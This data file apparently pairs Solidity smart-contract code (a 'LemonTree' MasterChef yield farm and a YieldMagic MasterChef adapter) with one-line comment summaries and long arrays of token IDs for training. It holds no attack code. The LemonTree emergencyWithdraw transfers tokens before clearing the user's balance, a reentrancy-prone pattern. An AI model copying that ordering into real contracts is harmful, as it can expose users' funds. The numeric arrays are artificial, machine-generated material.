uint256 public constant BONUS_MULTIPLIER = 10;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when LEMON mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
LemonToken _lemon,
address _devaddr,
uint256 _lemonPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
lemon = _lemon;
devaddr = _devaddr;
lemonPerBlock = _lemonPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accLemonPerShare: 0
}));
}
// Update the given pool's LEMON allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block, yield halved when reach point.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if( lemon.totalSupply() >= halvingLemonSupply){
return _to.sub(_from).div(2);
}
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending LEMONs on frontend.
function pendingLemon(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accLemonPerShare = pool.accLemonPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 lemonReward = multiplier.mul(lemonPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accLemonPerShare = accLemonPerShare.add(lemonReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accLemonPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
if (lemon.totalSupply() < maxLemonSupply){
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 lemonReward = multiplier.mul(lemonPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
lemon.mint(devaddr, lemonReward.div(10));
lemon.mint(address(this), lemonReward);
pool.accLemonPerShare = pool.accLemonPerShare.add(lemonReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
}
// Deposit LP tokens to LemonTree for LEMON allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accLemonPerShare).div(1e12).sub(user.rewardDebt);
safeLemonTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accLemonPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from LemonTree.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accLemonPerShare).div(1e12).sub(user.rewardDebt);
safeLemonTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accLemonPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe lemon transfer function, just in case if rounding error causes pool to not have enough LEMONs.
function safeLemonTransfer(address _to, uint256 _amount) internal {
uint256 lemonBal = lemon.balanceOf(address(this));
if (lemon.totalSupply() >= maxLemonSupply){
return;
}
if (_amount > lemonBal) {
lemon.transfer(_to, lemonBal);
} else {
lemon.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
// Used for community governance.
function setLemonPerBlock(uint256 _lemonPerBlock) public onlyOwner {
massUpdatePools();
lemonPerBlock = _lemonPerBlock;
}
// Used for community governance.
function setHalvingLemonSupply(uint256 _halvingLemonSupply) public onlyOwner {
massUpdatePools();
require(lemon.totalSupply() < _halvingLemonSupply, "setHalvingLemonSupply: less than current lemon supply");
require(maxLemonSupply > _halvingLemonSupply, "setHalvingLemonSupply: less than current max lemon supply");
halvingLemonSupply = _halvingLemonSupply;
}
// Used for community governance.
function setMaxLemonSupply(uint256 _maxLemonSupply) public onlyOwner {
massUpdatePools();
require(lemon.totalSupply() < _maxLemonSupply, "setMaxLemonSupply: less than current lemon supply");
require(halvingLemonSupply < _maxLemonSupply, "setMaxLemonSupply: less than halve point");
maxLemonSupply = _maxLemonSupply;
}
} | LEMON tokens created per block. | uint256 public lemonPerBlock;
| 11,650,094 | [
1,
900,
17667,
2430,
2522,
1534,
1203,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
884,
2586,
2173,
1768,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
// (c) Copyright 2021 YieldMagic LLC. All rights reserved.
//
// The code for this deployed contract is provided so that anyone can understand its operation and potential risks.
// Anyone may interact with this contract, but the code, design, and documentation are the property of YieldMagic LLC.
// The contract may not be derived, modified, or redeployed by anyone without a license granted by YieldMagic LLC.
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IMasterChefAdapter.sol";
/// A base adapter for MasterChef pools
abstract contract MasterChefAdapter is
IMasterChefAdapter,
ReentrancyGuard
{
using SafeERC20 for IERC20;
////////// CONSTANTS //////////
/// Function selector to add liquidity to a pool, used in place of an interface
bytes4 public constant ADD = 0xe8e33700;
/// Function selector to swap tokens for a pool, used in place of an interface
bytes4 public constant SWAP = 0x5c11d795;
/// Address of the strategy that can use this adapter
address public immutable STRATEGY;
////////// PROPERTIES //////////
/// Per-pool amounts of any tokens remaining from compounding pools (masterChef => masterChefPoolId => token => amount)
mapping(address => mapping(uint256 => mapping(IERC20 => uint256))) public override(IMasterChefAdapter) dust;
/// Total amounts of any tokens remaining from compounding pools (token => amount)
mapping(IERC20 => uint256) public override(IMasterChefAdapter) totalDust;
////////// MODIFIERS //////////
/// Error if the caller is not the strategy
modifier onlyStrategy () {
require(msg.sender == STRATEGY, "NOT_STRATEGY");
_;
}
/// Error if the caller does not have the operator role in the strategy
modifier onlyOperator() {
IMasterChefStrategy(STRATEGY).onlyOperator(msg.sender);
_;
}
/// Error if the caller does not have the harvester role in the strategy
modifier onlyHarvester() {
IMasterChefStrategy(STRATEGY).onlyHarvester(msg.sender);
_;
}
/// Error if the caller does not have the supervisor role in the strategy
modifier onlySupervisor() {
IMasterChefStrategy(STRATEGY).onlySupervisor(msg.sender);
_;
}
/// Error if the caller does not have the accountant role in the strategy
modifier onlyAccountant() {
IMasterChefStrategy(STRATEGY).onlyAccountant(msg.sender);
_;
}
/// Error if the caller does not have the governance role in the strategy
modifier onlyGovernance() {
IMasterChefStrategy(STRATEGY).onlyGovernance(msg.sender);
_;
}
/// Error if the caller does not have the deployer role in the strategy
modifier onlyDeployer() {
IMasterChefStrategy(STRATEGY).onlyDeployer(msg.sender);
_;
}
////////// CONSTRUCTOR //////////
/// Deploy this adapter contract
///
/// @param SET_STRATEGY address of the strategy
constructor(address SET_STRATEGY) {
/// Set the strategy address
STRATEGY = SET_STRATEGY;
}
////////// EXTERNAL GETTERS //////////
/// Get the balance of pool tokens in a MasterChef pool
///
/// @param pool pool in the strategy
///
/// @return amount of pool tokens in the MasterChef pool
function balance(PoolInfo calldata pool)
virtual override(IMasterChefAdapter)
external view
returns (uint256)
{
return _masterChefBalance(pool);
}
////////// STRATEGY FUNCTIONS //////////
/// Deposit pool tokens into a pool and transfer them from the owner
/// Only the strategy can call this function, and it may only be triggered by the owner of the pool tokens
///
/// @param pool pool in the strategy
/// @param poolTokens amount of pool tokens to deposit
/// @param owner address of the owner
///
/// @return amount of pool tokens deposited
function deposit(PoolInfo calldata pool, uint256 poolTokens, address owner)
virtual override(IMasterChefAdapter)
external
nonReentrant
onlyStrategy
returns (uint256)
{
/// Claim pending rewards from the MasterChef pool
_claim(pool);
/// Get the balance before transfer to check for tokens that may have a fee on transfer
uint256 balance = pool.poolToken.balanceOf(address(this));
/// Transfer the pool tokens from the owner to the adapter
pool.poolToken.safeTransferFrom(owner, address(this), poolTokens);
/// The difference after the transfer is the actual amount of pool tokens to deposit
poolTokens = pool.poolToken.balanceOf(address(this)) - balance;
/// Deposit the pool tokens into the MasterChef pool, returning the amount actually deposited
return _deposit(pool, poolTokens);
}
/// Withdraw pool tokens from a pool and transfer them to the owner
/// Only the strategy can call this function, and it may only be triggered by the owner of the pool tokens
///
/// @param pool pool in the strategy
/// @param poolTokens amount of pool tokens to withdraw
/// @param owner address of the owner
///
/// @return amount of pool tokens withdrawn
function withdraw(PoolInfo calldata pool, uint256 poolTokens, address owner)
virtual override(IMasterChefAdapter)
external
nonReentrant
onlyStrategy
returns (uint256)
{
/// Claim pending rewards from the MasterChef pool
_claim(pool);
/// Withdraw the pool tokens from the MasterChef pool, returning the amount actually withdrawn
poolTokens = _withdraw(pool, poolTokens);
/// Transfer the pool tokens from the adapter to the owner
pool.poolToken.safeTransfer(owner, poolTokens);
/// Return the amount of pool tokens withdrawn
return poolTokens;
}
/// Compound accumulated rewards from a MasterChef back into a pool
/// Only the strategy can call this function, and it may only be triggered by harvesters
///
/// @param pool pool in the strategy
/// @param params parameters for compounding
///
/// @return amount of pool tokens compounded into the pool
function compound(PoolInfo calldata pool, CompoundParams calldata params)
virtual override(IMasterChefAdapter)
external
nonReentrant
onlyStrategy
returns (uint256)
{
/// Claim pending rewards from the MasterChef pool
_claim(pool);
/// This will be the amount of pool tokens deposited, defaulting to zero
uint256 poolTokens;
/// Get the reward tokens assigned to the pool
uint256 rewardTokens = dust[pool.masterChef][pool.masterChefPoolId][pool.rewardToken];
if (rewardTokens > 0) {
/// Convert the reward tokens into pool tokens
poolTokens = (address(pool.token0) == address(0) || address(pool.token1) == address(0))
? _compoundStaking(pool, params, rewardTokens)
: _compoundLiquidity(pool, params, rewardTokens);
/// Deposit the pool tokens into the MasterChef pool, returning the amount actually deposited
poolTokens = _deposit(pool, poolTokens);
}
/// Return the amount deposited
return poolTokens;
}
/// Convert remaining amounts of token0 and token1 for reward tokens, to be used on the next compound
/// Only the strategy can call this function, and it may only be triggered by harvesters
///
/// @param pool pool in the strategy
/// @param params parameters for sweeping
///
/// @return amount of reward tokens converted
function sweep(PoolInfo calldata pool, SweepParams calldata params)
virtual override(IMasterChefAdapter)
external
nonReentrant
onlyStrategy
returns (uint256)
{
/// This will be the amount of reward tokens converted, defaulting to zero
uint256 rewardTokens;
/// This will be the amount of token0 and token1 to convert, defaulting to zero
uint256 dustTokens;
/// If token0 isn't already the reward token, swap it
if (pool.token0 != pool.rewardToken) {
/// Get the amount assigned to the pool
dustTokens = dust[pool.masterChef][pool.masterChefPoolId][pool.token0];
if (dustTokens > 0) {
/// If a maximum amount to swap is provided, limit the amount to sweep
if (params.max0 > 0 && dustTokens > params.max0) {
dustTokens = params.max0;
}
/// Debit the amount assigned to the pool
_decreaseDust(pool, pool.token0, dustTokens);
/// Swap for the reward token
rewardTokens += _swap(
pool,
pool.token0,
pool.rewardToken,
dustTokens,
params.min0,
params.deadline
);
}
}
/// If token1 isn't already the reward token, swap it
if (pool.token1 != pool.rewardToken) {
/// Get the amount assigned to the pool
dustTokens = dust[pool.masterChef][pool.masterChefPoolId][pool.token1];
if (dustTokens > 0) {
/// If a maximum amount to swap is provided, limit the amount to sweep
if (params.max1 > 0 && dustTokens > params.max1) {
dustTokens = params.max1;
}
/// Debit the amount assigned to the pool
_decreaseDust(pool, pool.token1, dustTokens);
/// Swap for the reward token
rewardTokens += _swap(
pool,
pool.token1,
pool.rewardToken,
dustTokens,
params.min1,
params.deadline
);
}
}
/// Credit the reward tokens assigned to the pool
if (rewardTokens > 0) {
_increaseDust(pool, pool.rewardToken, rewardTokens);
}
/// Return the amount of reward tokens converted
return rewardTokens;
}
/// Emergency withdraw from a MasterChef pool and assign the pool tokens to the pool
/// The owners of the pool tokens can then withdraw from the strategy normally
/// Only the strategy can call this function, and it may only be triggered by governance
///
/// @param pool pool in the strategy
function stop(PoolInfo calldata pool)
virtual override(IMasterChefAdapter)
external
nonReentrant
onlyStrategy
{
/// Get the balance of pool tokens before withdraw
uint256 poolTokens = pool.poolToken.balanceOf(address(this));
/// Withdraw all pool tokens from the MasterChef pool
_masterChefEmergencyWithdraw(pool);
/// The difference after withdraw is the amount of pool tokens actually withdrawn
poolTokens = pool.poolToken.balanceOf(address(this)) - poolTokens;
/// Credit the pool tokens assigned to the pool
_increaseDust(pool, pool.poolToken, poolTokens);
}
/// Withdraw pool tokens from the adapter and transfer them to the owner
/// Only the strategy can call this function, and it may only be triggered by the owner of the pool tokens
///
/// @param pool pool in the strategy
/// @param poolTokens amount of pool tokens to withdraw
/// @param owner address of the owner
function exit(PoolInfo calldata pool, uint256 poolTokens, address owner)
virtual override(IMasterChefAdapter)
external
nonReentrant
onlyStrategy
{
/// Debit the pool tokens assigned to the pool
_decreaseDust(pool, pool.poolToken, poolTokens);
/// Transfer the pool tokens to the owner
pool.poolToken.safeTransfer(owner, poolTokens);
}
////////// GOVERNANCE FUNCTIONS //////////
/// Transfer tokens that have been airdropped or accidentally sent to the adapter
/// Tokens that belong to their owners are assigned to pools and cannot be transferred
/// Only governance can call this function
///
/// @param token address of the token to send
/// @param receiver address to send tokens to
/// @param amount amount of tokens to send
function transfer(IERC20 token, address receiver, uint256 amount)
virtual
external
nonReentrant
onlyGovernance
{
/// Get the balance of the token on the adapter and subtract any amount that belongs to pools
uint256 balance = token.balanceOf(address(this)) - totalDust[token];
/// If the amount is greater than the balance, only transfer the balance
if (amount > balance) {
amount = balance;
}
/// Transfer the amount to the receiver
token.safeTransfer(receiver, amount);
}
////////// INTERNAL FUNCTIONS //////////
/// Deposit pool tokens into a MasterChef pool
///
/// @param pool pool in the strategy
/// @param poolTokens amount of pool tokens to deposit
///
/// @return amount of pool tokens deposited
function _deposit(PoolInfo calldata pool, uint256 poolTokens)
virtual
internal
returns (uint256)
{
/// Get the balance of pool tokens before deposit to check for pools and tokens that may have a fee on transfer
uint256 balance = _masterChefBalance(pool);
/// Approve the MasterChef to transfer the exact amount of pool tokens
pool.poolToken.safeIncreaseAllowance(pool.masterChef, poolTokens);
/// Deposit the pool tokens into the MasterChef pool
_masterChefDeposit(pool, poolTokens);
/// The difference to return is the amount of pool tokens actually deposited
return _masterChefBalance(pool) - balance;
}
/// Withdraw pool tokens from a MasterChef pool
///
/// @param pool pool in the strategy
/// @param poolTokens amount of pool tokens
///
/// @return amount of pool tokens withdrawn
function _withdraw(PoolInfo calldata pool, uint256 poolTokens)
virtual
internal
returns (uint256)
{
/// Get the balance of pool tokens before withdraw to check for pools and tokens that may have a fee on transfer
uint256 balance = pool.poolToken.balanceOf(address(this));
/// Withdraw the pool tokens from the MasterChef pool
_masterChefWithdraw(pool, poolTokens);
/// The difference to return is the amount of pool tokens actually withdrawn
return pool.poolToken.balanceOf(address(this)) - balance;
}
/// Claim pending rewards from a MasterChef pool and transfer them to the adapter
///
/// @param pool pool in the strategy
///
/// @return amount of reward tokens claimed
function _claim(PoolInfo calldata pool)
virtual
internal
returns (uint256)
{
/// Get the balance of reward tokens before claiming them
uint256 rewardTokens = pool.rewardToken.balanceOf(address(this));
/// Claim pending rewards from the MasterChef pool
_masterChefClaim(pool);
/// The difference after claiming is the amount of reward tokens claimed
rewardTokens = pool.rewardToken.balanceOf(address(this)) - rewardTokens;
if (rewardTokens > 0) {
/// Credit the amount assigned to the pool
_increaseDust(pool, pool.rewardToken, rewardTokens);
}
/// Return the amount of reward tokens claimed
return rewardTokens;
}
/// Convert reward tokens into staking pool tokens
///
/// @param pool pool in the strategy
/// @param params parameters for compounding
/// @param rewardTokens amount of reward tokens
///
/// @return amount of pool tokens converted
function _compoundStaking(PoolInfo calldata pool, CompoundParams calldata params, uint256 rewardTokens)
virtual
internal
returns (uint256)
{
/// If a maximum amount of reward tokens to swap is provided, limit the amount to compound
if (params.max0 > 0 && rewardTokens > params.max0) {
rewardTokens = params.max0;
}
/// Debit the reward tokens assigned to the pool
_decreaseDust(pool, pool.rewardToken, rewardTokens);
/// If the reward token is already the pool token, return it
if (pool.rewardToken == pool.poolToken) return rewardTokens;
/// Otherwise, swap the reward token for the pool token and return the amount received
return _swap(
pool,
pool.rewardToken,
pool.poolToken,
rewardTokens,
params.min0,
params.deadline
);
}
/// Convert reward tokens into liquidity pool tokens
///
/// @param pool pool in the strategy
/// @param params parameters for compounding
/// @param rewardTokens amount of reward tokens
///
/// @return amount of pool tokens converted
function _compoundLiquidity(PoolInfo calldata pool, CompoundParams calldata params, uint256 rewardTokens)
virtual
internal
returns (uint256)
{
/// Divide the rewards in half to swap them for token0 and token1
uint256 amount0 = rewardTokens / 2;
uint256 amount1 = amount0;
/// If a maximum amount of token0 to swap is provided, limit the amount to compound
if (params.max0 > 0 && amount0 > params.max0) {
amount0 = params.max0;
}
/// Set the amount of reward tokens to compound for token0
rewardTokens = amount0;
/// If the reward token isn't already token0, swap it
if (pool.rewardToken != pool.token0) {
amount0 = _swap(
pool,
pool.rewardToken,
pool.token0,
amount0,
params.min0,
params.deadline
);
}
/// If a maximum amount of token1 to swap is provided, limit the amount to compound
if (params.max1 > 0 && amount1 > params.max1) {
amount1 = params.max1;
}
/// Add the amount of reward tokens to compound for token1
rewardTokens += amount1;
/// If the reward token isn't already token1, swap it
if (pool.rewardToken != pool.token1) {
amount1 = _swap(
pool,
pool.rewardToken,
pool.token1,
amount1,
params.min1,
params.deadline
);
}
/// Debit the reward tokens assigned to the pool
_decreaseDust(pool, pool.rewardToken, rewardTokens);
/// Get the amount of token0 assigned to the pool
uint256 dustTokens = dust[pool.masterChef][pool.masterChefPoolId][pool.token0];
if (dustTokens > 0) {
/// Debit the amount assigned to the pool
_decreaseDust(pool, pool.token0, dustTokens);
/// Add the amount to this compound
amount0 += dustTokens;
}
/// Get the amount of token1 assigned to the pool
dustTokens = dust[pool.masterChef][pool.masterChefPoolId][pool.token1];
if (dustTokens > 0) {
/// Debit the amount assigned to the pool
_decreaseDust(pool, pool.token1, dustTokens);
/// Add the amount to this compound
amount1 += dustTokens;
}
/// Add token0 and token1 to the pool, returning the amount of pool tokens received
return _addLiquidity(
pool,
amount0,
amount1,
params.add0,
params.add1,
params.deadline
);
}
/// Swap tokens for a pool
///
/// @param pool pool in the strategy
/// @param tokenIn address of the input token
/// @param tokenOut address of the output token
/// @param amountIn exact amount of input tokens to swap
/// @param amountOut minimum amount of output tokens to receive
/// @param deadline deadline for the swap
///
/// @return amount of output tokens received by the swap
function _swap(
PoolInfo calldata pool,
IERC20 tokenIn,
IERC20 tokenOut,
uint256 amountIn,
uint256 amountOut,
uint256 deadline
)
virtual
internal
returns (uint256)
{
/// Compose the route to swap
address[] memory route = new address[](2);
route[0] = address(tokenIn);
route[1] = address(tokenOut);
/// Get the balance of output tokens before swap to check for tokens that may have a fee on transfer
uint256 balance = tokenOut.balanceOf(address(this));
/// Approve the router to transfer the exact amount of the token
tokenIn.safeIncreaseAllowance(pool.router, amountIn);
/// Swap the input token for the output token
(bool success, ) = pool.router.call(abi.encodeWithSelector(
SWAP,
amountIn,
amountOut,
route,
address(this),
deadline
));
/// Error if the swap failed
require(success, "SWAP_FAILED");
/// The difference to return is the amount received by the swap
return tokenOut.balanceOf(address(this)) - balance;
}
/// Add liquidity to a pool
///
/// @param pool pool in the strategy
/// @param in0 maximum amount of token0 to add
/// @param in1 maximum amount of token1 to add
/// @param out0 minimum amount of token0 to add
/// @param out1 minimum amount of token1 to add
/// @param deadline deadline for adding liquidity
///
/// @return amount of pool tokens received
function _addLiquidity(
PoolInfo calldata pool,
uint256 in0,
uint256 in1,
uint256 out0,
uint256 out1,
uint256 deadline
)
virtual
internal
returns (uint256)
{
/// This will be the amount of pool tokens received, defaulting to zero
uint256 poolTokens;
/// Approve the router to transfer the exact amount of the tokens
pool.token0.safeIncreaseAllowance(pool.router, in0);
pool.token1.safeIncreaseAllowance(pool.router, in1);
/// Add token0 and token1 to the pool, returning the amounts of each added and the pool tokens received
(bool success, bytes memory data) = pool.router.call(abi.encodeWithSelector(
ADD,
address(pool.token0),
address(pool.token1),
in0,
in1,
out0,
out1,
address(this),
deadline
));
/// Error if adding liquidity failed
require(success, "ADD_FAILED");
/// Get the amounts of token0 and token1 added and the amount of pool tokens received
(out0, out1, poolTokens) = abi.decode(data, (uint256, uint256, uint256));
/// If adding liquidity doesn't use all of token0, there will be a small amount remaining
if (in0 > out0) {
/// Credit the amount assigned to the pool, to be used on the next compound or sweep
_increaseDust(pool, pool.token0, in0 - out0);
/// Zero out the remaining router approval
pool.token0.safeApprove(pool.router, 0);
}
/// If adding liquidity doesn't use all of token1, there will be a small amount remaining
if (in1 > out1) {
/// Credit the amount assigned to the pool, to be used on the next compound or sweep
_increaseDust(pool, pool.token1, in1 - out1);
/// Zero out the remaining router approval
pool.token1.safeApprove(pool.router, 0);
}
/// Return the pool tokens received
return poolTokens;
}
/// Credit the dust assigned to a pool and add to the total
///
/// @param pool pool in the strategy
/// @param token address of the token
/// @param amount amount of tokens to add
function _increaseDust(PoolInfo calldata pool, IERC20 token, uint256 amount)
virtual
internal
{
dust[pool.masterChef][pool.masterChefPoolId][token] += amount;
totalDust[token] += amount;
}
/// Debit the dust assigned to a pool and subtract from the total
///
/// @param pool pool in the strategy
/// @param token address of the token
/// @param amount amount of tokens to subtract
function _decreaseDust(PoolInfo calldata pool, IERC20 token, uint256 amount)
virtual
internal
{
dust[pool.masterChef][pool.masterChefPoolId][token] -= amount;
totalDust[token] -= amount;
}
////////// VIRTUAL FUNCTIONS //////////
/// Get the balance of pool tokens in a MasterChef pool
///
/// @param pool pool in the strategy
///
/// @return amount of pool tokens in the MasterChef pool
function _masterChefBalance(PoolInfo calldata pool)
virtual
internal view
returns (uint256);
/// Deposit pool tokens into a MasterChef pool
///
/// @param pool pool in the strategy
/// @param poolTokens amount of pool tokens to deposit
function _masterChefDeposit(PoolInfo calldata pool, uint256 poolTokens)
virtual
internal;
/// Withdraw pool tokens from a MasterChef pool
///
/// @param pool pool in the strategy
/// @param poolTokens amount of pool tokens
function _masterChefWithdraw(PoolInfo calldata pool, uint256 poolTokens)
virtual
internal;
/// Claim pending rewards from a MasterChef pool and transfer them to the adapter
///
/// @param pool pool in the strategy
function _masterChefClaim(PoolInfo calldata pool)
virtual
internal;
/// Emergency withdraw all pool tokens from a MasterChef pool
///
/// @param pool pool in the strategy
function _masterChefEmergencyWithdraw(PoolInfo calldata pool)
virtual
internal;
}
/// A minimal interface for the MasterChefStrategy's access control
interface IMasterChefStrategy {
/// @dev See {MasterChefStrategy-onlyOperator}
function onlyOperator(address account)
external view;
/// @dev See {MasterChefStrategy-onlyHarvester}
function onlyHarvester(address account)
external view;
/// @dev See {MasterChefStrategy-onlySupervisor}
function onlySupervisor(address account)
external view;
/// @dev See {MasterChefStrategy-onlyAccountant}
function onlyAccountant(address account)
external view;
/// @dev See {MasterChefStrategy-onlyGovernance}
function onlyGovernance(address account)
external view;
/// @dev See {MasterChefStrategy-onlyDeployer}
function onlyDeployer(address account)
external view;
}
| Get the balance of pool tokens in a MasterChef pool @param pool pool in the strategy @return amount of pool tokens in the MasterChef pool | function balance(PoolInfo calldata pool)
virtual override(IMasterChefAdapter)
external view
returns (uint256)
{
return _masterChefBalance(pool);
}
| 13,035,045 | [
1,
967,
326,
11013,
434,
2845,
2430,
316,
279,
13453,
39,
580,
74,
2845,
225,
2845,
2845,
316,
326,
6252,
327,
3844,
434,
2845,
2430,
316,
326,
13453,
39,
580,
74,
2845,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
